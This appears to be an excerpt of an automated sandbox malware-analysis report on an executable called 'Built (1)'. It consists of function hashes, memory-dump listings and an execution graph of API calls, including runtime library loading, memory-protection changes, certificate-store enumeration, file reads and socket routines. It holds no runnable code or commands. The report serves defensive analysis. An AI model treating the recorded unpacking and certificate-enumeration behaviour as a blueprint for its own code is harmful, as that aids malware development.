                                              • Instruction ID: 80f6255b656df3522c54a7405cbb84f53242ebbf0538c3ae989c3e0b801e9ab8
                                              • Opcode Fuzzy Hash: fd7208e01f832ae2c3cc6aa9bb96c2aefef2cc6e58d8a602234d9daac72df826
                                              • Instruction Fuzzy Hash: F4115B32608B8182EB208B15F40426977E1FB88B88F184330DFAD47BA4EF3DD551CB80
                                              Function 00007FF6FFD31594 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: DriveType_invalid_parameter_noinfo
                                              • String ID: :
                                              • API String ID: 2595371189-336475711
                                              • Opcode ID: b3a001ff98c302286219bbad5be65c90682500455353c0d2fccc423422cbb122
                                              • Instruction ID: 14073ffc935096156dc75b8b1c9e782a63222de893e2777e500d50733f0dafd2
                                              • Opcode Fuzzy Hash: b3a001ff98c302286219bbad5be65c90682500455353c0d2fccc423422cbb122
                                              • Instruction Fuzzy Hash: 0401B162E1C24382FB219F6094522BE33A4EF44744F400335D67DC62E5FF3CE5049690

                                              Execution Graph

                                              Execution Coverage:1.5%
                                              Dynamic/Decrypted Code Coverage:0%
                                              Signature Coverage:2.1%
                                              Total number of Nodes:477
                                              Total number of Limit Nodes:76
                                              execution_graph 109835 7ffdff2147b0 109836 7ffdff21483e 109835->109836 109837 7ffdff2147e8 109835->109837 109836->109837 109838 7ffdff214860 109836->109838 109883 7ffdff199330 11 API calls 109837->109883 109840 7ffdff214800 109838->109840 109845 7ffdff214865 109838->109845 109884 7ffdff199330 11 API calls 109840->109884 109842 7ffdff21482a 109844 7ffdff21495d 109845->109844 109847 7ffdff214200 109845->109847 109885 7ffdff1fa650 11 API calls 109845->109885 109848 7ffdff214274 109847->109848 109849 7ffdff2142ee 109848->109849 109866 7ffdff21430c 109848->109866 109904 7ffdff19a4b0 11 API calls 109849->109904 109852 7ffdff2144bd 109886 7ffdff24e750 109852->109886 109854 7ffdff214786 109924 7ffdff2c28c0 109854->109924 109855 7ffdff2143f9 109855->109852 109856 7ffdff21442c 109855->109856 109857 7ffdff21445d 109856->109857 109858 7ffdff214435 109856->109858 109863 7ffdff214496 109857->109863 109907 7ffdff196800 11 API calls new[] 109857->109907 109906 7ffdff19a320 13 API calls 109858->109906 109861 7ffdff214797 109861->109845 109878 7ffdff21453c 109863->109878 109908 7ffdff196800 11 API calls new[] 109863->109908 109864 7ffdff21446e 109864->109863 109865 7ffdff214476 00007FFE1A462010 109864->109865 109868 7ffdff24e750 11 API calls 109865->109868 109866->109855 109869 7ffdff2143d4 109866->109869 109867 7ffdff2146ae 109873 7ffdff2142ff 109867->109873 109922 7ffdff19a320 13 API calls 109867->109922 109868->109863 109905 7ffdff19a320 13 API calls 109869->109905 109870 7ffdff214550 109870->109867 109921 7ffdff1c5450 41 API calls 109870->109921 109923 7ffdff213f50 11 API calls 109873->109923 109874 7ffdff21451f 109877 7ffdff214527 00007FFE1A462010 109874->109877 109874->109878 109877->109878 109878->109870 109878->109873 109909 7ffdff1b3270 109878->109909 109918 7ffdff196c00 11 API calls 109878->109918 109919 7ffdff1f09c0 11 API calls 109878->109919 109920 7ffdff1b4660 32 API calls 109878->109920 109883->109840 109884->109842 109885->109845 109888 7ffdff24e7a1 109886->109888 109891 7ffdff24eb69 109888->109891 109900 7ffdff24eaae 109888->109900 109931 7ffdff24dbb0 109888->109931 109889 7ffdff24ebc0 109943 7ffdff199330 11 API calls 109889->109943 109941 7ffdff19a4b0 11 API calls 109891->109941 109893 7ffdff24ebdd 109898 7ffdff24ec7e 109893->109898 109944 7ffdff1f0e80 11 API calls 109893->109944 109895 7ffdff24ecd7 109896 7ffdff2c28c0 4 API calls 109895->109896 109899 7ffdff24ed20 109896->109899 109898->109895 109945 7ffdff224c40 11 API calls 109898->109945 109899->109863 109900->109889 109900->109893 109942 7ffdff199160 11 API calls 109900->109942 109902 7ffdff24eca5 109902->109895 109946 7ffdff1dc800 11 API calls 109902->109946 109904->109873 109905->109873 109906->109873 109907->109864 109908->109874 109915 7ffdff1b32a7 109909->109915 109910 7ffdff1b3309 109910->109878 109913 7ffdff1b34c5 109913->109910 109967 7ffdff1ab030 11 API calls new[] 109913->109967 109915->109910 109915->109913 109950 7ffdff1b2e50 109915->109950 109964 7ffdff1aa3f0 RaiseException IsProcessorFeaturePresent RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 109915->109964 109965 7ffdff1b31a0 11 API calls 109915->109965 109966 7ffdff1a7040 21 API calls 109915->109966 109918->109878 109919->109878 109920->109878 109921->109867 109922->109873 109923->109854 109925 7ffdff2c28c9 109924->109925 109926 7ffdff2c28d4 109925->109926 109927 7ffdff2c2914 IsProcessorFeaturePresent 109925->109927 109926->109861 109928 7ffdff2c292c 109927->109928 110059 7ffdff2c2b08 RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 109928->110059 109930 7ffdff2c293f 109930->109861 109934 7ffdff24dbf3 109931->109934 109932 7ffdff24dd11 109935 7ffdff24dd44 109932->109935 109936 7ffdff24dd57 109932->109936 109940 7ffdff24dced 109932->109940 109933 7ffdff24dccf 109933->109940 109947 7ffdff24ad90 11 API calls 109933->109947 109934->109932 109934->109933 109948 7ffdff19a4b0 11 API calls 109935->109948 109949 7ffdff19a4b0 11 API calls 109936->109949 109940->109888 109941->109900 109942->109889 109943->109893 109945->109902 109946->109895 109947->109940 109948->109940 109949->109940 109968 7ffdff1a9ab0 109950->109968 109953 7ffdff1b2e81 109954 7ffdff1b303c 109953->109954 109957 7ffdff1b2f72 109953->109957 109959 7ffdff1b2f83 109953->109959 109999 7ffdff1ab730 11 API calls 109953->109999 109954->109959 110002 7ffdff1a7040 21 API calls 109954->110002 109957->109954 109958 7ffdff1b301a 109957->109958 109957->109959 109960 7ffdff1b2fe8 109957->109960 109958->109954 110001 7ffdff254550 11 API calls 109958->110001 109959->109915 110000 7ffdff1a85f0 11 API calls 109960->110000 109964->109915 109965->109915 109966->109915 109967->109910 109969 7ffdff1a9d67 109968->109969 109975 7ffdff1a9ae0 109968->109975 109978 7ffdff1a9b71 109969->109978 110006 7ffdff1ae740 15 API calls 109969->110006 109971 7ffdff2c28c0 4 API calls 109972 7ffdff1a9e69 109971->109972 109972->109959 109980 7ffdff1a9e80 109972->109980 109973 7ffdff1a9c32 109976 7ffdff1a9c75 109973->109976 109973->109978 110004 7ffdff1a7a60 13 API calls 109973->110004 109975->109969 109975->109973 109975->109976 109975->109978 110003 7ffdff254590 11 API calls 109975->110003 109976->109969 109976->109978 110005 7ffdff1ab730 11 API calls 109976->110005 109978->109971 109981 7ffdff1a9ed5 109980->109981 109982 7ffdff1a9ea2 109980->109982 110007 7ffdff1a4e80 109981->110007 110019 7ffdff199330 11 API calls 109982->110019 109984 7ffdff1a9ff8 110020 7ffdff199330 11 API calls 109984->110020 109985 7ffdff1aa050 109989 7ffdff1aa07e 109985->109989 109991 7ffdff1aa068 109985->109991 109988 7ffdff1a9ef4 109988->109984 109988->109985 109990 7ffdff1a9ece 109988->109990 109995 7ffdff1a9f0d 109988->109995 109994 7ffdff1aa09a 109989->109994 109989->109995 109990->109953 110013 7ffdff1a7e10 109991->110013 109993 7ffdff1aa0bd 110023 7ffdff1a6720 11 API calls new[] 109993->110023 109994->109990 109994->109993 110022 7ffdff1a3150 11 API calls new[] 109994->110022 109995->109990 110021 7ffdff1a7040 21 API calls 109995->110021 109999->109957 110000->109959 110001->109954 110002->109959 110003->109973 110004->109976 110005->109969 110006->109978 110009 7ffdff1a4ecf 110007->110009 110008 7ffdff1a4ef7 110008->109988 110009->110008 110012 7ffdff1a4f0b 110009->110012 110033 7ffdff1a47c0 11 API calls new[] 110009->110033 110012->110008 110024 7ffdff1a45f0 110012->110024 110014 7ffdff1a7e3f 110013->110014 110016 7ffdff1a7e4c 110013->110016 110056 7ffdff1aea80 12 API calls 110014->110056 110017 7ffdff1a7e5c 110016->110017 110045 7ffdff19dba0 110016->110045 110017->109995 110019->109990 110020->109995 110021->109990 110022->109993 110023->109990 110025 7ffdff1a4618 110024->110025 110026 7ffdff1a4709 110024->110026 110028 7ffdff1a4686 110025->110028 110034 7ffdff196130 110025->110034 110026->110008 110027 7ffdff1a470e 110039 7ffdff1a4380 11 API calls new[] 110027->110039 110028->110026 110028->110027 110030 7ffdff1a46ff 110028->110030 110038 7ffdff1a4380 11 API calls new[] 110030->110038 110033->110012 110035 7ffdff196149 110034->110035 110036 7ffdff1961f0 110034->110036 110035->110036 110040 7ffdff195af5 110035->110040 110036->110028 110038->110026 110039->110026 110041 7ffdff195b06 110040->110041 110042 7ffdff195b20 110041->110042 110044 7ffdff199330 11 API calls 110041->110044 110042->110036 110044->110042 110046 7ffdff19dbcd 110045->110046 110053 7ffdff19dc1b 110045->110053 110047 7ffdff19dc04 00007FFE1A462010 110046->110047 110048 7ffdff19dbe4 00007FFE1A462010 110046->110048 110047->110053 110052 7ffdff19dbe9 110048->110052 110049 7ffdff19dc44 ReadFile 110050 7ffdff19dcda 110049->110050 110049->110053 110050->110052 110058 7ffdff199330 11 API calls 110050->110058 110052->110017 110053->110049 110053->110050 110054 7ffdff19dcb4 110053->110054 110057 7ffdff19d9d0 15 API calls 110054->110057 110056->110016 110057->110052 110058->110052 110059->109930 110060 7ffe0077fae0 110061 7ffe0077faf0 110060->110061 110062 7ffe0077fb00 110061->110062 110063 7ffe00761df2 SetLastError 110061->110063 110064 7ffe007614bf SetLastError 110061->110064 110065 7ffe007be5ec SetLastError 110061->110065 110063->110062 110064->110062 110065->110062 110066 7ffe0eb394e4 110069 7ffe0eb39519 110066->110069 110067 7ffe0eb39529 110069->110067 110070 7ffe0eb395d0 110069->110070 110071 7ffe0eb39609 110070->110071 110072 7ffe0eb39625 110071->110072 110074 7ffe0eb34324 4 API calls 110071->110074 110075 7ffe0eb34a8c WSAGetLastError 110071->110075 110072->110067 110074->110071 110075->110071 110076 7ffdfb1af160 110077 7ffdfb1afd01 110076->110077 110084 7ffdfb1af178 110076->110084 110078 7ffdfb1afc0e LoadLibraryA 110079 7ffdfb1afc28 110078->110079 110082 7ffdfb1afc47 GetProcAddress 110079->110082 110079->110084 110081 7ffdfb1afc69 VirtualProtect VirtualProtect 110081->110077 110082->110079 110083 7ffdfb1afc5e 110082->110083 110084->110078 110084->110081 110085 7ffdff1b1d20 110086 7ffdff1b1d74 110085->110086 110087 7ffdff196130 new[] 11 API calls 110086->110087 110092 7ffdff1b1dea 110087->110092 110088 7ffdff2c28c0 4 API calls 110090 7ffdff1b1eaa 110088->110090 110089 7ffdff196130 new[] 11 API calls 110091 7ffdff1b20de 110089->110091 110099 7ffdff1b1e8d 110091->110099 110105 7ffdff1a9060 110091->110105 110094 7ffdff196130 new[] 11 API calls 110092->110094 110092->110099 110102 7ffdff1b1ed0 110092->110102 110095 7ffdff1b1e81 110094->110095 110097 7ffdff1b1ec5 00007FFE1A462010 110095->110097 110095->110099 110095->110102 110096 7ffdff1b2139 110100 7ffdff1b21b5 110096->110100 110103 7ffdff1b22a0 110096->110103 110104 7ffdff19dba0 18 API calls 110096->110104 110097->110102 110099->110088 110100->110103 110127 7ffdff1a85f0 11 API calls 110100->110127 110102->110089 110102->110099 110102->110103 110103->110099 110128 7ffdff1a87d0 28 API calls 110103->110128 110104->110100 110106 7ffdff1a90e5 110105->110106 110107 7ffdff1a9240 110105->110107 110106->110107 110109 7ffdff1a90fe 110106->110109 110108 7ffdff1a9140 110107->110108 110111 7ffdff196130 new[] 11 API calls 110107->110111 110110 7ffdff196130 new[] 11 API calls 110108->110110 110125 7ffdff1a9372 110108->110125 110112 7ffdff196130 new[] 11 API calls 110109->110112 110113 7ffdff1a9192 110110->110113 110122 7ffdff1a9278 110111->110122 110114 7ffdff1a9119 110112->110114 110115 7ffdff1a9208 00007FFE1A462010 110113->110115 110120 7ffdff1a9430 110113->110120 110113->110125 110116 7ffdff1a9125 00007FFE1A462010 110114->110116 110114->110125 110117 7ffdff1a93db 110115->110117 110118 7ffdff1a922a 00007FFE1A462010 110115->110118 110116->110108 110119 7ffdff1a93de 00007FFE1A462010 00007FFE1A462010 110117->110119 110118->110119 110119->110120 110124 7ffdff1a950a 110120->110124 110129 7ffdff1a01a0 110120->110129 110122->110108 110122->110125 110143 7ffdff254590 11 API calls 110122->110143 110124->110125 110144 7ffdff1a85f0 11 API calls 110124->110144 110125->110096 110127->110103 110128->110099 110132 7ffdff1a01f1 110129->110132 110135 7ffdff1a03c0 CreateFileW 110132->110135 110138 7ffdff1a0645 110132->110138 110142 7ffdff1a0578 110132->110142 110145 7ffdff19d210 110132->110145 110149 7ffdff19fbc0 17 API calls new[] 110132->110149 110150 7ffdff1a09f0 15 API calls 110132->110150 110151 7ffdff199330 11 API calls 110132->110151 110133 7ffdff2c28c0 4 API calls 110134 7ffdff1a0817 110133->110134 110134->110124 110135->110132 110152 7ffdff19d9d0 15 API calls 110138->110152 110140 7ffdff1a0670 110153 7ffdff254590 11 API calls 110140->110153 110142->110133 110143->110108 110144->110125 110146 7ffdff19d24e 110145->110146 110147 7ffdff196130 new[] 11 API calls 110146->110147 110148 7ffdff19d263 110146->110148 110147->110148 110148->110132 110149->110132 110150->110132 110151->110132 110152->110140 110153->110142 109728 7ffe00788b00 109730 7ffe00788b1a 109728->109730 109729 7ffe00788b30 109730->109729 109732 7ffe00762045 109730->109732 109732->109729 109733 7ffe0076f260 109732->109733 109734 7ffe0076f27a SetLastError 109733->109734 109735 7ffe0076f29a 109734->109735 109738 7ffe007624a5 109735->109738 109736 7ffe0076f2be 109736->109729 109738->109736 109740 7ffe007a7b30 109738->109740 109741 7ffe007a7cb7 109740->109741 109742 7ffe007a7bb6 109740->109742 109744 7ffe0076127b 109740->109744 109741->109742 109743 7ffe0076127b SetLastError 109741->109743 109742->109736 109743->109741 109744->109741 109746 7ffe007a83e0 109744->109746 109745 7ffe007a845e SetLastError 109745->109746 109747 7ffe007a84b4 109745->109747 109746->109745 109746->109747 109747->109741 110154 7ffdff1a13e0 GetSystemInfo 110155 7ffdff1a1414 110154->110155 110156 7ffdff1f0460 110157 7ffdff1f048c 110156->110157 110158 7ffdff1f0491 110156->110158 110169 7ffdff213ef0 110157->110169 110164 7ffdff1f0577 110158->110164 110166 7ffdff1f058a 110158->110166 110167 7ffdff1f058e 110158->110167 110173 7ffdff22d000 12 API calls new[] 110158->110173 110160 7ffdff1f05e6 110176 7ffdff19a4b0 11 API calls 110160->110176 110161 7ffdff1f05d0 110175 7ffdff19a4b0 11 API calls 110161->110175 110164->110166 110174 7ffdff22ee10 15 API calls new[] 110164->110174 110166->110160 110166->110161 110166->110167 110170 7ffdff213f15 110169->110170 110171 7ffdff213f09 110169->110171 110170->110158 110177 7ffdff213e20 110171->110177 110173->110164 110174->110166 110175->110167 110176->110167 110178 7ffdff213e5a 110177->110178 110182 7ffdff213e6a 110177->110182 110183 7ffdff213960 110178->110183 110180 7ffdff213ebd 110180->110170 110181 7ffdff213960 48 API calls 110181->110182 110182->110180 110182->110181 110215 7ffdff213660 110183->110215 110185 7ffdff213a4a 110190 7ffdff2c28c0 4 API calls 110185->110190 110186 7ffdff213dea 110255 7ffdff1f09c0 11 API calls 110186->110255 110188 7ffdff213a1c 110188->110185 110192 7ffdff1b3270 24 API calls 110188->110192 110195 7ffdff213b08 110188->110195 110200 7ffdff213aee 110188->110200 110191 7ffdff213e0a 110190->110191 110191->110182 110193 7ffdff213aa4 110192->110193 110194 7ffdff213aaa 110193->110194 110193->110195 110194->110200 110246 7ffdff196800 11 API calls new[] 110194->110246 110196 7ffdff213bac 110195->110196 110198 7ffdff213b71 110195->110198 110247 7ffdff196800 11 API calls new[] 110196->110247 110202 7ffdff213c85 110198->110202 110203 7ffdff213ccb 110198->110203 110208 7ffdff213b91 110198->110208 110200->110185 110200->110186 110254 7ffdff196c00 11 API calls 110200->110254 110201 7ffdff213ad7 110201->110200 110204 7ffdff213adf 00007FFE1A462010 110201->110204 110248 7ffdff196800 11 API calls new[] 110202->110248 110249 7ffdff199160 11 API calls 110203->110249 110204->110200 110207 7ffdff213d0a 110250 7ffdff20c510 46 API calls new[] 110207->110250 110208->110200 110253 7ffdff1b4660 32 API calls 110208->110253 110211 7ffdff213d36 110212 7ffdff213d64 110211->110212 110251 7ffdff1edb30 47 API calls 110211->110251 110212->110208 110252 7ffdff1f0a50 11 API calls 110212->110252 110216 7ffdff213682 110215->110216 110235 7ffdff213913 110215->110235 110217 7ffdff21368b 110216->110217 110221 7ffdff2136a3 110216->110221 110256 7ffdff213550 11 API calls 110217->110256 110219 7ffdff213696 110219->110188 110222 7ffdff2136e2 110221->110222 110227 7ffdff21388d 110221->110227 110223 7ffdff213734 110222->110223 110257 7ffdff213550 11 API calls 110222->110257 110225 7ffdff214200 43 API calls 110223->110225 110229 7ffdff213770 110225->110229 110226 7ffdff2137a1 110228 7ffdff2137e6 110226->110228 110226->110235 110236 7ffdff21382c 110226->110236 110227->110235 110265 7ffdff213550 11 API calls 110227->110265 110261 7ffdff199330 11 API calls 110228->110261 110229->110226 110231 7ffdff2137a3 110229->110231 110232 7ffdff213799 110229->110232 110231->110226 110259 7ffdff252650 13 API calls 110231->110259 110258 7ffdff196c00 11 API calls 110232->110258 110233 7ffdff2137f5 110262 7ffdff199330 11 API calls 110233->110262 110235->110188 110263 7ffdff1c5450 41 API calls 110236->110263 110240 7ffdff21381d 110240->110188 110241 7ffdff2137b4 110260 7ffdff213550 11 API calls 110241->110260 110243 7ffdff213858 110264 7ffdff250d90 31 API calls 110243->110264 110245 7ffdff21387e 110245->110188 110246->110201 110247->110208 110248->110208 110249->110207 110250->110211 110251->110212 110252->110208 110253->110200 110254->110186 110255->110185 110256->110219 110257->110223 110258->110226 110259->110241 110260->110226 110261->110233 110262->110240 110263->110243 110264->110245 110265->110235 109748 7ffe0eb31c90 109750 7ffe0eb31caf 109748->109750 109749 7ffe0eb31d7d 109750->109749 109752 7ffe0eb31da0 109750->109752 109753 7ffe0eb31dc6 109752->109753 109754 7ffe0eb3373e 109753->109754 109757 7ffe0eb31e08 IsProcessorFeaturePresent RtlCaptureContext RtlLookupFunctionEntry 109753->109757 109756 7ffe0eb31de6 109756->109749 109757->109756 109758 7ffe0eb39dd0 109759 7ffe0eb39dff 109758->109759 109761 7ffe0eb39e25 109759->109761 109762 7ffe0eb39e80 109759->109762 109763 7ffe0eb39eb2 109762->109763 109768 7ffe0eb39ed3 109763->109768 109769 7ffe0eb34324 109763->109769 109766 7ffe0eb39f7c 109767 7ffe0eb34324 4 API calls 109766->109767 109766->109768 109775 7ffe0eb34a8c WSAGetLastError 109766->109775 109767->109766 109768->109761 109770 7ffe0eb34363 109769->109770 109771 7ffe0eb34358 109769->109771 109776 7ffe0eb32680 109770->109776 109771->109770 109774 7ffe0eb343d4 select 109771->109774 109773 7ffe0eb34403 109773->109766 109774->109770 109775->109766 109777 7ffe0eb32689 109776->109777 109778 7ffe0eb32694 109777->109778 109779 7ffe0eb326d4 IsProcessorFeaturePresent 109777->109779 109778->109773 109780 7ffe0eb326ec 109779->109780 109783 7ffe0eb328c8 RtlCaptureContext RtlLookupFunctionEntry capture_previous_context 109780->109783 109782 7ffe0eb326ff 109782->109773 109783->109782 110266 7ffe0eb3a3f0 110268 7ffe0eb3a403 110266->110268 110267 7ffe0eb3a462 110268->110267 110270 7ffe0eb3a4d4 00007FFDFB36204C 110268->110270 110271 7ffe0eb3a50a 110270->110271 110277 7ffe0eb3a53c 110270->110277 110283 7ffe0eb3c5d0 CertOpenStore 110271->110283 110273 7ffe0eb3a51a 110274 7ffe0eb3a52e GetLastError 110273->110274 110273->110277 110274->110277 110275 7ffe0eb3a60c CertEnumCertificatesInStore 110280 7ffe0eb3a512 110275->110280 110281 7ffe0eb3a621 110275->110281 110276 7ffe0eb3a71c CertCloseStore 110276->110273 110276->110277 110277->110267 110278 7ffe0eb3bed4 CertGetEnhancedKeyUsage CertGetEnhancedKeyUsage GetLastError 110278->110280 110279 7ffe0eb3a6ad CertFreeCertificateContext 110279->110281 110280->110273 110280->110275 110280->110278 110282 7ffe0eb3a626 110280->110282 110281->110276 110282->110279 110284 7ffe0eb3c609 110283->110284 110285 7ffe0eb3c60d 110283->110285 110284->110280 110286 7ffe0eb3c611 CertOpenStore 110285->110286 110288 7ffe0eb3c673 110285->110288 110286->110285 110287 7ffe0eb3c63c CertAddStoreToCollection CertCloseStore 110286->110287 110287->110285 110288->110284 110289 7ffe0eb3c678 CertCloseStore 110288->110289 110289->110284 110290 7ffe0eb38d70 110292 7ffe0eb38d78 110290->110292 110293 7ffe0eb38dbd 110292->110293 110294 7ffe0eb34324 4 API calls 110292->110294 110295 7ffe0eb34a8c WSAGetLastError 110292->110295 110294->110292 110295->110292 110296 7ffe00787df0 110298 7ffe00787e0a 110296->110298 110297 7ffe00787e20 110298->110297 110300 7ffe0076112c 110298->110300 110300->110297 110301 7ffe0076ee00 110300->110301 110304 7ffe0076ee30 110301->110304 110303 7ffe0076ee1a 110303->110297 110305 7ffe00761325 110304->110305 110306 7ffe0076ee50 SetLastError 110305->110306 110307 7ffe0076ee70 110306->110307 110309 7ffe00761c1c 9 API calls 110307->110309 110308 7ffe0076eeab 110308->110303 110309->110308 109784 7ffe11ec5b60 109785 7ffe11ec5b7f 109784->109785 109786 7ffe11ec5c98 00007FFE1FFB6A30 109785->109786 109787 7ffe11ec5d0c 109785->109787 109786->109787 109788 7ffe11ec5cb6 00007FFE1FFB6A30 109786->109788 109788->109787 109789 7ffe11ec5cd4 00007FFE1FFB6A30 109788->109789 109789->109787 109790 7ffe11ec5cf2 00007FFE1FFB6A30 109789->109790 109790->109787 110319 7ffe11ec6080 110321 7ffe11ec60ca 110319->110321 110322 7ffe11ec61bb 110321->110322 110323 7ffe11ec6350 110321->110323 110324 7ffe11ec6396 110323->110324 110325 7ffe11ec64ff 00007FFDFB26D63C 110324->110325 110327 7ffe11ec6645 110324->110327 110326 7ffe11ec6513 00007FFDFB26D63C 110325->110326 110325->110327 110326->110327 110328 7ffe11ec6527 110326->110328 110327->110322 110328->110327 110330 7ffe11ec3ff0 00007FFDFF1C8820 110328->110330 110330->110327 110331 7ffdfb896100 110332 7ffdfb896d0a 110331->110332 110333 7ffdfb896118 110331->110333 110333->110333 110334 7ffdfb896c17 LoadLibraryA 110333->110334 110337 7ffdfb896c72 VirtualProtect VirtualProtect 110333->110337 110335 7ffdfb896c31 110334->110335 110335->110333 110338 7ffdfb896c50 GetProcAddress 110335->110338 110337->110332 110338->110335 110339 7ffdfb896c67 110338->110339 110340 7ffe007a5770 110343 7ffe007a578f 110340->110343 110341 7ffe0076127b SetLastError 110342 7ffe007a58fe 110341->110342 110343->110341 110343->110342 109791 7ffe11ec8f9e 109792 7ffe11ec8fcd 109791->109792 109794 7ffe11ec8ff3 109791->109794 109792->109794 109795 7ffe11ec4660 109792->109795 109796 7ffe11ec46a3 109795->109796 109801 7ffe11ec4a6b 109795->109801 109797 7ffe11ec46f4 00007FFDFB26D63C 109796->109797 109800 7ffe11ec4708 109796->109800 109796->109801 109797->109800 109797->109801 109798 7ffe11ec48a5 00007FFDFF1C8820 109798->109800 109799 7ffe11ec4c59 00007FFDFF1C8820 109799->109800 109800->109798 109800->109799 109800->109801 109801->109794 109802 7ffe007d0710 109803 7ffe007d0728 109802->109803 109804 7ffe007d0836 109803->109804 109806 7ffe00761c1c 109803->109806 109806->109803 109809 7ffe007a6960 109806->109809 109808 7ffe007a6a29 109808->109803 109809->109808 109813 7ffe00761a0f 109809->109813 109823 7ffe00761df2 109809->109823 109827 7ffe007be5ec 109809->109827 109831 7ffe007614bf 109809->109831 109813->109809 109816 7ffe007aa460 109813->109816 109814 7ffe007614f1 SetLastError 109814->109816 109815 7ffe007ab23f 109817 7ffe007aa5e3 109815->109817 109818 7ffe007ab26a 00007FFE1FFB6570 109815->109818 109816->109814 109816->109815 109816->109817 109817->109809 109818->109817 109819 7ffe007ab28b 00007FFE1FFB6570 109818->109819 109819->109817 109820 7ffe007ab2ab 00007FFE1FFB6570 109819->109820 109820->109817 109821 7ffe007ab2c2 00007FFE1FFB6570 109820->109821 109821->109817 109822 7ffe007ab2da 00007FFE1FFB6570 109821->109822 109822->109817 109823->109809 109824 7ffe007be020 109823->109824 109825 7ffe007be73f SetLastError 109824->109825 109826 7ffe007be753 109824->109826 109825->109826 109826->109809 109828 7ffe007be5f7 109827->109828 109829 7ffe007be73f SetLastError 109828->109829 109830 7ffe007be753 109828->109830 109829->109830 109830->109809 109831->109809 109832 7ffe007bdf00 109831->109832 109833 7ffe007be73f SetLastError 109832->109833 109834 7ffe007be753 109832->109834 109833->109834 109834->109809

                                              Executed Functions

                                              Function 00007FFE00761A0F Relevance: 23.6, APIs: 5, Strings: 8, Instructions: 892COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: $..\s\ssl\record\ssl3_record.c$CONNE$GET $HEAD $POST $PUT $ssl3_get_record
                                              • API String ID: 0-2781224710
                                              • Opcode ID: 3bc19fddbb92a07e1e767cd8b3f2f904a5a0ed181b9d2bf3ea77b1a1a381752d
                                              • Instruction ID: c57d8fc42c3d8ec6a86e7f3c74069124ba5ba4df9befbdffda7678bcea6b7ab0
                                              • Opcode Fuzzy Hash: 3bc19fddbb92a07e1e767cd8b3f2f904a5a0ed181b9d2bf3ea77b1a1a381752d
                                              • Instruction Fuzzy Hash: DA927D72A0A64791FB60BB21D4447B923A0EB86784F5C4036EB8D477AEDF3DE945C702
                                              Function 00007FFDFF1A9060 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 515COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 1089 7ffdff1a9060-7ffdff1a90df 1090 7ffdff1a90e5-7ffdff1a90ef 1089->1090 1091 7ffdff1a9240-7ffdff1a9256 1089->1091 1090->1091 1092 7ffdff1a90f5-7ffdff1a90f8 1090->1092 1093 7ffdff1a925c-7ffdff1a9262 1091->1093 1094 7ffdff1a9152-7ffdff1a9198 call 7ffdff196130 1091->1094 1092->1093 1095 7ffdff1a90fe 1092->1095 1093->1094 1096 7ffdff1a9268-7ffdff1a927e call 7ffdff196130 1093->1096 1101 7ffdff1a982b-7ffdff1a982e 1094->1101 1102 7ffdff1a919e-7ffdff1a9202 call 7ffdff2c36ac 1094->1102 1099 7ffdff1a9105-7ffdff1a910e 1095->1099 1105 7ffdff1a988b 1096->1105 1109 7ffdff1a9284-7ffdff1a929f 1096->1109 1099->1099 1103 7ffdff1a9110-7ffdff1a911f call 7ffdff196130 1099->1103 1101->1105 1106 7ffdff1a9830-7ffdff1a9837 1101->1106 1117 7ffdff1a9208-7ffdff1a9224 00007FFE1A462010 1102->1117 1118 7ffdff1a9430-7ffdff1a944b 1102->1118 1103->1105 1119 7ffdff1a9125-7ffdff1a913b 00007FFE1A462010 1103->1119 1114 7ffdff1a9890-7ffdff1a98a0 1105->1114 1110 7ffdff1a9839-7ffdff1a9843 1106->1110 1111 7ffdff1a9882 1106->1111 1126 7ffdff1a92b9 1109->1126 1127 7ffdff1a92a1-7ffdff1a92b2 1109->1127 1115 7ffdff1a9845 1110->1115 1116 7ffdff1a984b-7ffdff1a9878 1110->1116 1111->1105 1115->1116 1116->1105 1149 7ffdff1a987a-7ffdff1a9880 1116->1149 1123 7ffdff1a93db 1117->1123 1124 7ffdff1a922a-7ffdff1a923b 00007FFE1A462010 1117->1124 1121 7ffdff1a94ad-7ffdff1a94ca 1118->1121 1122 7ffdff1a944d-7ffdff1a9450 1118->1122 1125 7ffdff1a9140-7ffdff1a9147 